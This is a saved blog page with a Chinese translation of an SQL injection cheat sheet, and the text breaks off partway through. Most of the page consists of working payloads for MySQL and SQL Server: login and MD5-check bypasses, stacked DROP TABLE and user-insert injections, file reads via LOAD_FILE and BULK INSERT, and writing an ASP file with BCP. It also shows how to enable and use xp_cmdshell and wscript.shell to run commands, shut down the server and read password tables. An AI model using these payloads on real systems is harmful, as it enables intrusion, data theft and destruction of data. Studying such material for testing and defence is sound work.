-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path14608288854459.html
executable file
·1340 lines (912 loc) · 49.2 KB
/
14608288854459.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>
SQL注入速查表 - 雪地
</title>
<link href="atom.xml" rel="alternate" title="雪地" type="application/atom+xml">
<link rel="stylesheet" href="asset/css/foundation.min.css" />
<link rel="stylesheet" href="asset/css/docs.css" />
<link rel="icon" href="asset/img/favicon.ico" />
<script src="asset/js/vendor/modernizr.js"></script>
<script src="asset/js/vendor/jquery.js"></script>
<script src="asset/highlightjs/highlight.pack.js"></script>
<link href="asset/highlightjs/styles/github.css" media="screen, projection" rel="stylesheet" type="text/css">
<script>hljs.initHighlightingOnLoad();</script>
<script type="text/javascript">
function before_search(){
var searchVal = 'site:yinzo.github.io ' + document.getElementById('search_input').value;
document.getElementById('search_q').value = searchVal;
return true;
}
</script>
</head>
<body class="antialiased hide-extras">
<div class="marketing off-canvas-wrap" data-offcanvas>
<div class="inner-wrap">
<nav class="top-bar docs-bar hide-for-small" data-topbar>
<section class="top-bar-section">
<div class="row">
<div style="position: relative;width:100%;"><div style="position: absolute; width:100%;">
<ul id="main-menu" class="left">
<li id="menu_item_index"><a href="index.html">Blog</a></li>
<li id="menu_item_archives"><a href="archives.html">Archives</a></li>
<li id="menu_item_about"><a href="http://yinz.xyz/">Home</a></li>
</ul>
<ul class="right" id="search-wrap">
<li>
<form target="_blank" onsubmit="return before_search();" action="http://google.com/search" method="get">
<input type="hidden" id="search_q" name="q" value="" />
<input tabindex="1" type="search" id="search_input" placeholder="Search"/>
</form>
</li>
</ul>
</div></div>
</div>
</section>
</nav>
<nav class="tab-bar show-for-small">
<a href="javascript:void(0)" class="left-off-canvas-toggle menu-icon">
<span> 雪地</span>
</a>
</nav>
<aside class="left-off-canvas-menu">
<ul class="off-canvas-list">
<li><a href="index.html">Blog</a></li>
<li><a href="archives.html">Archives</a></li>
<li><a href="http://yinz.xyz/">Home</a></li>
<li><label>Categories</label></li>
<li><a href="Security%20Info.html">Security Info</a></li>
<li><a href="Adversary%20Learning.html">Adversary Learning</a></li>
<li><a href="TCPIP.html">TCP/IP</a></li>
<li><a href="Pattern%20Recognition.html">Pattern Recognition</a></li>
<li><a href="Python.html">Python</a></li>
<li><a href="OS.html">OS</a></li>
<li><a href="Deep%20Learning.html">Deep Learning</a></li>
<li><a href="Machine%20Learning.html">Machine Learning</a></li>
</ul>
</aside>
<a class="exit-off-canvas" href="#"></a>
<section id="main-content" role="main" class="scroll-container">
<script type="text/javascript">
$(function(){
$('#menu_item_index').addClass('is_active');
});
</script>
<div class="row">
<div class="large-8 medium-8 columns">
<div class="markdown-body article-wrap">
<div class="article">
<h1>SQL注入速查表</h1>
<div class="read-more clearfix">
<span class="date">2015/8/10 17:30 下午</span>
<span class="comments">
</span>
</div>
</div><!-- article -->
<div class="article-content">
<p><small><em>本文由Yinzo翻译,转载请保留署名。原文地址:<a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#Enablecmdshell">http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#Enablecmdshell</a></em></small></p>
<p><small><em>文档版本:1.4</em></small></p>
<h2 id="toc_0">关于SQL注入速查表</h2>
<p>现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。</p>
<p>样例仅用于读者理解对于“可能出现的攻击(a potential attack)”的基础概念,并且几乎每一个部分都有一段简洁的概要</p>
<span id="more"></span><!-- more -->
<ul>
<li>M: MySQL</li>
<li>S: SQL Server</li>
<li>P: PostgreSQL</li>
<li>O: Oracle</li>
<li>+: (大概)其他所有数据库</li>
</ul>
<p><em>例子</em>:</p>
<ul>
<li>(MS) 代表 : MySQL 和 SQL Server 等</li>
<li>(M*S) 代表 : 仅对某些版本或者某些附在后文中的特殊情况的 MySQL,以及SQL Server</li>
</ul>
<h2 id="toc_1">目录</h2>
<ol>
<li>关于SQL注入速查表</li>
<li>语法参考,攻击样例以及注入小技巧
<ol>
<li>行间注释
<ol>
<li>使用了行间注释的SQL注入攻击样例</li>
</ol></li>
<li>行内注释
<ol>
<li>使用了行内注释的注入攻击样例</li>
<li>MySQL版本探测攻击样例</li>
</ol></li>
<li>堆叠查询(Stacking Queries)
<ol>
<li>支持堆叠查询的语言/数据库</li>
<li>关于MySQL和PHP</li>
<li>堆叠注入攻击样例</li>
</ol></li>
<li>If语句
<ol>
<li>MySQL的If语句</li>
<li>SQL Server的If语句</li>
<li>使用了If语句的注入攻击样例</li>
</ol></li>
<li>整数(Integers)的使用</li>
<li>字符串操作
<ol>
<li>字符串的串联</li>
</ol></li>
<li>没有引号的字符串
<ol>
<li>使用了16进制的注入攻击样例</li>
</ol></li>
<li>字符串异化(Modification)与联系</li>
<li>Union注入
<ol>
<li>UNION-语言问题处理</li>
</ol></li>
<li>绕过登陆界面(SMO+)</li>
<li>绕过检查MD5哈希的登陆界面
<ol>
<li>绕过MD5哈希检查的例子(MSP)</li>
</ol></li>
<li>基于错误(Error Based)-探测字段名
<ol>
<li>使用<code>HAVING</code>来探测字段名(S)</li>
<li>在<code>SELECT</code>查询中使用<code>ORDER BY</code>探测字段数(MSO+)</li>
</ol></li>
<li>数据类型、UNION、之类的
<ol>
<li>获取字段类型</li>
</ol></li>
<li>简单的注入(MSO+)</li>
<li>有用的函数、信息收集、内置程序、大量注入笔记
<ol>
<li><code>@@version</code>(MS)</li>
<li>文件插入(Bulk Insert)(S)</li>
<li>BCP(S)</li>
<li>SQL Server的VBS/WSH(S)</li>
<li>执行系统命令,xp_cmdshell(S)</li>
<li>SQL Server中的一些特殊的表(S)</li>
<li>SQL Server的其它内置程序(S)</li>
<li>大量MSSQL笔记</li>
<li>使用LIMIT(M)或ORDER(MSO)的注入</li>
<li>关掉SQL Server(S)</li>
</ol></li>
<li>在SQL Server 2005中启用xp_cmdshell</li>
<li>探测SQL Server数据库的结构(S)
<ol>
<li>获取用户定义表</li>
<li>获取字段名</li>
</ol></li>
<li>移动记录(Moving records)(S)</li>
<li>快速的脱掉基于错误(Error Based)的SQL Server注入(S)</li>
<li>盲注
<ol>
<li>关于盲注</li>
<li>实战中的盲注实例</li>
</ol></li>
<li>延时盲注
<ol>
<li><code>WAITFOR DELAY [time]</code>(S)</li>
<li>实例</li>
<li><code>BENCHMARK()</code>(M)</li>
<li>实例</li>
<li><code>pg_sleep(seconds)</code>(P)</li>
</ol></li>
<li>掩盖痕迹
<ol>
<li><code>-sp_password log bypass</code>(S)</li>
</ol></li>
<li>注入测试</li>
<li>一些其他的MySQL笔记
<ol>
<li>MySQL中好用的函数</li>
</ol></li>
<li>SQL注入的高级使用
<ol>
<li>强制SQL Server来得到NTLM哈希</li>
<li>Bulk insert UNC共享文件 (S) </li>
</ol></li>
</ol></li>
<li>待办事项 / 联系方式 / 帮助</li>
</ol>
<h2 id="toc_2">语法参考,攻击样例以及注入小技巧</h2>
<h3 id="toc_3">行间注释</h3>
<p><strong>注释掉查询语句的其余部分</strong><br/>
行间注释通常用于注释掉查询语句的其余部分,这样你就不需要去修复整句语法了。</p>
<ul>
<li><p><code>--</code>(SM)</p>
<p><code>DROP sampletable;--</code></p></li>
<li><p><code>#</code>(M)</p>
<p><code>DROP sampletable;#</code></p></li>
</ul>
<h4 id="toc_4">使用了行间注释的SQL注入攻击样例</h4>
<blockquote>
<p>用户名:<code>admin'--</code></p>
</blockquote>
<ul>
<li>构成语句:<code>SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'</code>
这会使你以admin身份登陆,因为其余部分的SQL语句被注释掉了。</li>
</ul>
<h3 id="toc_5">行内注释</h3>
<p><strong>通过不关闭注释注释掉查询语句的其余部分</strong>,或者用于<strong>绕过过滤</strong>,移除空格,混淆,或探测数据库版本。</p>
<ul>
<li><code>/*注释内容*/</code>(SM)
<ul>
<li><code>DROP/*comment*/sampletable</code></li>
<li><code>DR/**/OP/*绕过过滤*/sampletable</code></li>
<li><code>SELECT/*替换空格*/password/**/FROM/**/Members</code></li>
</ul></li>
<li><p><code>/*! MYSQL专属 */</code> (M) </p>
<p>这是个MySQL专属语法。非常适合用于探测MySQL版本。如果你在注释中写入代码,只有MySQL才会执行。同样的你也可以用这招,使得只有高于某版本的服务器才执行某些代码。<br/>
<code>SELECT /*!32302 1/0, */ 1 FROM tablename</code></p></li>
</ul>
<h4 id="toc_6">使用了行内注释的注入攻击样例</h4>
<blockquote>
<p>ID:<code>10; DROP TABLE members /*</code></p>
</blockquote>
<p>简单地摆脱了处理后续语句的麻烦,同样你可以使用<code>10; DROP TABLE members --</code></p>
<h4 id="toc_7">MySQL版本探测攻击样例</h4>
<blockquote>
<p><code>SELECT /*!32302 1/0, */ 1 FROM tablename</code></p>
</blockquote>
<p>如果MySQL的版本高于<strong>3.23.02</strong>,会抛出一个<code>division by 0 error</code></p>
<blockquote>
<p>ID:<code>/*!32302 10*/</code></p>
<p>ID:<code>10</code></p>
</blockquote>
<p>如果MySQL版本高于3.23.02,以上两次查询你将得到相同的结果</p>
<h3 id="toc_8">堆叠查询(Stacking Queries)</h3>
<p><strong>一句代码之中执行多个查询语句</strong>,这在每一个注入点都非常有用,尤其是使用SQL Server后端的应用</p>
<ul>
<li><code>;</code>(S)
<code>SELECT * FROM members; DROP members--</code>
结束一个查询并开始一个新的查询</li>
</ul>
<h4 id="toc_9">支持堆叠查询的语言/数据库</h4>
<p><strong>绿色:</strong>支持,<strong>暗灰色:</strong>不支持,<strong>浅灰色:</strong>未知<br/>
<img src="http://ww2.sinaimg.cn/large/7d52f1ffgw1euwiy9impsj20dn03sgls.jpg" alt="支持堆叠查询的语言/数据库"/></p>
<h4 id="toc_10">关于MySQL和PHP</h4>
<p>阐明一些问题。</p>
<p><strong>PHP-MySQL不支持堆叠查询</strong>,Java不支持堆叠查询(ORACLE的我很清楚,其他的就不确定了)。一般来说MySQL支持堆叠查询,但由于大多数PHP-Mysql应用框架的数据库层都不能执行第二条查询,或许MySQL的客户端支持这个,我不确定,有人能确认一下吗?</p>
<p><em>(译者注:MySQL 5.6.20版本下客户端支持堆叠查询)</em></p>
<h4 id="toc_11">堆叠注入攻击样例</h4>
<blockquote>
<p>ID:<code>10;DROP members --</code></p>
</blockquote>
<p>构成语句:<code>SELECT * FROM products WHERE id = 10; DROP members--</code></p>
<p>这在执行完正常查询之后将会执行DROP查询。</p>
<h3 id="toc_12">If语句</h3>
<p>根据If语句得到响应。这是<strong>盲注(Blind SQL Injection)的关键之一</strong>,同样也能简单而<strong>准确地</strong>进行一些测试。</p>
<h4 id="toc_13">MySQL的If语句</h4>
<ul>
<li><p><code>IF(condition,true-part,false-part)</code>(M)</p>
<blockquote>
<p><code>SELECT IF (1=1,'true','false')</code></p>
</blockquote></li>
</ul>
<h4 id="toc_14">SQL Server的If语句</h4>
<ul>
<li><p><code>IF condition true-part ELSE false-part</code>(S)</p>
<blockquote>
<p><code>IF (1=1) SELECT 'true' ELSE SELECT 'false'</code></p>
</blockquote></li>
</ul>
<h4 id="toc_15">使用了If语句的注入攻击样例</h4>
<blockquote>
<p><code>if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0</code>(S)</p>
</blockquote>
<p>如果当前用户不是<strong>“sa"或者"dbo”</strong>,就会抛出一个<strong><code>divide by zero error</code></strong>。</p>
<h3 id="toc_16">整数(Integers)的使用</h3>
<p>对于绕过十分有用,比如<strong>magic_quotes() 和其他类似过滤器</strong>,甚至是各种WAF。</p>
<ul>
<li><p><code>0xHEXNUMBER</code>(SM)</p>
<p>(HEXNUMBER:16进制数)<br/>
你能这样使用16进制数:</p>
<ul>
<li><p><code>SELECT CHAR(0x66)</code>(S)</p></li>
<li><p><code>SELECT 0x5045</code>(M) (这不是一个整数,而会是一个16进制字符串)</p></li>
<li><p><code>SELECT 0x50 + 0x45</code>(M) (现在这是整数了)</p></li>
</ul></li>
</ul>
<h3 id="toc_17">字符串操作</h3>
<p>与字符串相关的操作。这对于构造一个不含有引号,用于绕过或探测数据库都非常的有用。</p>
<h4 id="toc_18">字符串的串联</h4>
<ul>
<li><p><code>+</code>(S)</p>
<p><code>SELECT login + '-' + password FROM members</code></p></li>
<li><p><code>||</code> (*MO) </p>
<p><code>SELECT login || '-' || password FROM members</code></p></li>
</ul>
<p>*<strong>关于MySQL的"||“</strong><br/>
这个仅在ANSI模式下的MySQL执行,其他情况下都会当成'逻辑操作符'并返回一个0。更好的做法是使用<code>CONCAT()</code>函数。</p>
<ul>
<li><p><code>CONCAT(str1, str2, str3, ...)</code>(M)</p>
<p>连接参数里的所有字符串<br/>
例:<code>SELECT CONCAT(login, password) FROM members</code></p></li>
</ul>
<h3 id="toc_19">没有引号的字符串</h3>
<p>有很多使用字符串的方法,但是这几个方法是一直可用的。使用<code>CHAR()</code>(MS)和<code>CONCAT()</code>(M)来生成没有引号的字符串</p>
<ul>
<li><p><code>0x457578</code> (M) - 16进制编码的字符串</p>
<p><code>SELECT 0x457578</code></p>
<p>这在MySQL中会被当做字符串处理</p></li>
<li><p>在MySQL中使用16进制字符串的一个简单方式:<br/>
<code>SELECT CONCAT('0x',HEX('c:\\boot.ini'))</code></p></li>
<li><p>在MySQL中使用<code>CONCAT()</code>函数:<br/>
<code>SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))</code> (M) </p>
<p>这会返回'KLM'</p></li>
<li><p><code>SELECT CHAR(75)+CHAR(76)+CHAR(77)</code> (S) </p>
<p>这会返回'KLM'</p></li>
</ul>
<h4 id="toc_20">使用了16进制的注入攻击样例</h4>
<ul>
<li><p><code>SELECT LOAD_FILE(0x633A5C626F6F742E696E69)</code> (M) </p>
<p>这会显示<strong>c:\boot.ini</strong>的内容</p></li>
</ul>
<h3 id="toc_21">字符串异化(Modification)与联系</h3>
<ul>
<li><p><code>ASCII()</code> (SMP) </p>
<p>返回最左边字符的ASCII码的值。这是一个用于盲注的重要函数。</p>
<p>例:<code>SELECT ASCII('a')</code></p></li>
<li><p><code>CHAR()</code> (SM) </p>
<p>把整数转换为对应ASCII码的字符</p>
<p>例:<code>SELECT CHAR(64)</code></p></li>
</ul>
<h3 id="toc_22">Union注入</h3>
<p>通过union你能跨表执行查询。最简单的,你能注入一个查询使得它返回另一个表的内容。<br/>
<code>SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members</code></p>
<p>这会把news表和members表的内容合并返回。</p>
<p>另一个例子:<br/>
<code>' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--</code></p>
<h4 id="toc_23">UNION-语言问题处理</h4>
<p>当你使用Union来注入的时候,经常会遇到一些错误,这是由于不同的语言的设置(表的设置、字段设置、表或数据库的设置等等)。这些办法对于解决那些问题都挺有用的,尤其是当你处理日文,俄文,土耳其文的时候你会就会见到他们的。</p>
<ul>
<li><p>使用 <code>COLLATE SQL_Latin1_General_Cp1254_CS_AS</code>(S)</p>
<p>或者其它的什么语句,具体的自己去查SQL Server的文档。<br/>
例:<code>SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members</code></p></li>
<li><p><code>Hex()</code>(M)</p>
<p>百试百灵~</p></li>
</ul>
<h3 id="toc_24">绕过登陆界面(SMO+)</h3>
<p><em>SQL注入101式</em>(大概是原文名字吧?),登陆小技巧</p>
<ul>
<li><code>admin' --</code></li>
<li><code>admin' #</code></li>
<li><code>admin'/*</code></li>
<li><code>' or 1=1--</code></li>
<li><code>' or 1=1#</code></li>
<li><code>' or 1=1/*</code></li>
<li><code>') or '1'='1--</code></li>
<li><code>') or ('1'='1--</code></li>
<li>….</li>
<li>以不同的用户登陆 (SM*)
<code>' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--</code></li>
</ul>
<p>*<em>旧版本的MySQL不支持union</em></p>
<h3 id="toc_25">绕过检查MD5哈希的登陆界面</h3>
<p>如果应用是先通过用户名,读取密码的MD5,然后和你提供的密码的MD5进行比较,那么你就需要一些额外的技巧才能绕过验证。你可以把一个已知明文的MD5哈希和它的明文一起提交,使得程序不使用从数据库中读取的哈希,而使用你提供的哈希进行比较。</p>
<h4 id="toc_26">绕过MD5哈希检查的例子(MSP)</h4>
<blockquote>
<p>用户名:<code>admin</code></p>
<p>密码:<code>1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055</code></p>
</blockquote>
<p>其中<code>81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)</code></p>
<h3 id="toc_27">基于错误(Error Based)-探测字段名</h3>
<h4 id="toc_28">使用<code>HAVING</code>来探测字段名(S)</h4>
<ul>
<li><code>' HAVING 1=1 --</code></li>
<li><code>' GROUP BY table.columnfromerror1 HAVING 1=1 --</code></li>
<li><code>' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --</code></li>
<li>……</li>
<li><code>' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --</code></li>
<li>直到它不再报错,就算搞定了</li>
</ul>
<h4 id="toc_29">在<code>SELECT</code>查询中使用<code>ORDER BY</code>探测字段数(MSO+)</h4>
<p>通过ORDER BY来探测字段数能够加快union注入的速度。</p>
<ul>
<li><code>ORDER BY 1--</code></li>
<li><code>ORDER BY 2--</code></li>
<li>……</li>
<li><code>ORDER BY N--</code> </li>
<li>一直到它报错为止,最后一个成功的数字就是字段数。</li>
</ul>
<h3 id="toc_30">数据类型、UNION、之类的</h3>
<p><strong>提示:</strong></p>
<ul>
<li>经常给<strong>UNION</strong>配上<strong>ALL</strong>使用,因为经常会有相同数值的字段,而缺省情况下UNION都会尝试返回唯一值(records with distinct)</li>
<li>如果你每次查询只能有一条记录,而你不想让原本正常查询的记录占用这宝贵的记录位,你可以使用<code>-1</code>或者根本不存在的值来搞定原查询(前提是注入点在WHERE里)。</li>
<li>在UNION中使用NULL,对于大部分数据类型来说这样都比瞎猜字符串、日期、数字之类的来得强
<ul>
<li>盲注的时候要小心判断错误是来自应用的还是来自数据库的。因为像ASP.NET就经常会在你使用NULL的时候抛出错误(因为开发者们一般都没想到用户名的框中会出现NULL)</li>
</ul></li>
</ul>
<h4 id="toc_31">获取字段类型</h4>
<ul>
<li><p><code>' union select sum(columntofind) from users--</code> (S) </p>
<pre><code>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.
</code></pre>
<p>如果没有返回错误说明字段是<strong>数字类型</strong></p></li>
<li><p>同样的,你可以使用<code>CAST()</code>和<code>CONVERT()</code></p>
<ul>
<li> <code>SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--</code></li>
</ul></li>
<li><p><code>11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-</code></p>
<p>没报错 - 语法是正确的。 这是MS SQL Server的语法。 继续。</p></li>
<li><p><code>11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-</code></p>
<p>没报错 – 第一个字段是<code>integer</code>类型。</p></li>
<li><p><code>11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --</code></p>
<p>报错 – 第二个字段不是<code>integer</code>类型</p></li>
<li><p><code>11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-</code></p>
<p>没报错 – 第二个字段是<code>string</code>类型。</p></li>
<li><p><code>11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-</code></p>
<p>报错 – 第三个字段不是<code>integer</code> </p></li>
<li><p>……</p>
<pre><code>Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
</code></pre></li>
</ul>
<p><strong>你在遇到union错误之前会先遇到convert()错误</strong>,所以先使用convert()再用union</p>
<h3 id="toc_32">简单的注入(MSO+)</h3>
<p><code>'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*</code></p>
<h3 id="toc_33">有用的函数、信息收集、内置程序、大量注入笔记</h3>
<h4 id="toc_34"><code>@@version</code>(MS)</h4>
<p>数据库的版本。这是个常量,你能把它当做字段来SELECT,而且不需要提供表名。同样的你也可以用在INSERT/UPDATE语句里面,甚至是函数里面。</p>
<p><code>INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)</code></p>
<h4 id="toc_35">文件插入(Bulk Insert)(S)</h4>
<p>把文件内容插入到表中。如果你不知道应用目录你可以去<strong>读取IIS metabase file</strong>(<em>仅IIS 6</em>)(<em>%systemroot%\system32\inetsrv\MetaBase.xml</em>)然后在里面找到应用目录。</p>
<ol>
<li>新建一个表foo(<code>line varchar(8000)</code>)</li>
<li><code>BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'</code></li>
<li>DROP了临时表,重复另一个文件</li>
</ol>
<h4 id="toc_36">BCP(S)</h4>
<p>写入文件。这个功能需要登录<br/>
<code>bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar</code></p>
<h4 id="toc_37">SQL Server的VBS/WSH(S)</h4>
<p>由于ActiveX的支持,你能在SQL Server中使用VBS/WSH</p>
<pre><code>declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
</code></pre>
<blockquote>
<p>Username: <code>'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --</code></p>
</blockquote>
<h4 id="toc_38">执行系统命令,xp_cmdshell(S)</h4>
<p>众所周知的技巧,SQL Server 2005默认是关闭的。你需要admin权限</p>
<p><code>EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'</code></p>
<p>用ping简单的测试一下,用之前先检查一下防火墙和嗅探器。</p>
<p><code>EXEC master.dbo.xp_cmdshell 'ping '</code></p>
<p>如果有错误,或者union或者其他的什么,你都不能直接读到结果。</p>
<h4 id="toc_39">SQL Server中的一些特殊的表(S)</h4>
<ul>
<li><p>Error Messages</p>
<p><code>master..sysmessages</code></p></li>
<li><p>Linked Servers </p>
<p><code>master..sysservers</code></p></li>
<li><p>Password (2000和2005版本的都能被破解,这俩的加密算法很相似) </p>
<p>SQL Server 2000: masters..sysxlogins </p>
<p>SQL Server 2005 : sys.sql_logins </p></li>
</ul>
<h4 id="toc_40">SQL Server的其它内置程序(S)</h4>
<ol>
<li><p>命令执行 (xp_cmdshell) </p>
<p><code>exec master..xp_cmdshell 'dir'</code></p></li>
<li><p>注册表操作 (xp_regread)</p>
<ol>
<li>xp_regaddmultistring</li>
<li>xp_regdeletekey</li>
<li>xp_regdeletevalue</li>
<li>xp_regenumkeys</li>
<li>xp_regenumvalues</li>
<li>xp_regread</li>
<li>xp_regremovemultistring</li>
<li><p>xp_regwrite </p>
<pre><code>exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'
</code></pre></li>
</ol></li>
<li><p>管理服务(xp_servicecontrol)</p></li>
<li><p>媒体(xp_availablemedia)</p></li>
<li><p>ODBC 资源 (xp_enumdsn)</p></li>
<li><p>登录 (xp_loginconfig)</p></li>
<li><p>创建Cab文件 (xp_makecab)</p></li>
<li><p>域名列举 (xp_ntsec_enumdomains)</p></li>
<li><p>杀进程 (need PID) (xp_terminate_process)</p></li>
<li><p>新建进程 (<em>实际上你想干嘛都行</em>) </p>
<pre><code>sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
</code></pre></li>
<li><p>写文件进UNC或者内部路径 (sp_makewebtask)</p></li>
</ol>
<h4 id="toc_41">大量MSSQL笔记</h4>
<p><code>SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/</code></p>
<p><code>DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0</code></p>
<p>HOST_NAME() <br/>
IS_MEMBER (Transact-SQL)<br/><br/>
IS_SRVROLEMEMBER (Transact-SQL)<br/><br/>
OPENDATASOURCE (Transact-SQL)</p>
<p><code>INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"</code></p>
<p>OPENROWSET (Transact-SQL) - <a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx">http://msdn2.microsoft.com/en-us/library/ms190312.aspx</a></p>
<p>你不能在 SQL Server 的Insert查询里使用子查询(sub select).</p>
<h4 id="toc_42">使用LIMIT(M)或ORDER(MSO)的注入</h4>
<p><code>SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;</code></p>
<p>如果注入点在LIMIT的第二个参数处,你可以把它注释掉或者使用union注入。</p>
<h4 id="toc_43">关掉SQL Server(S)</h4>
<p>如果你真的急了眼,<code>';shutdown --</code></p>
<h3 id="toc_44">在SQL Server 2005中启用xp_cmdshell</h3>
<p>默认情况下,SQL Server 2005中像xp_cmdshell以及其它危险的内置程序都是被禁用的。如果你有admin权限,你就可以启动它们。</p>
<pre><code>EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
</code></pre>
<h3 id="toc_45">探测SQL Server数据库的结构(S)</h3>
<h4 id="toc_46">获取用户定义表</h4>
<p><code>SELECT name FROM sysobjects WHERE xtype = 'U'</code></p>
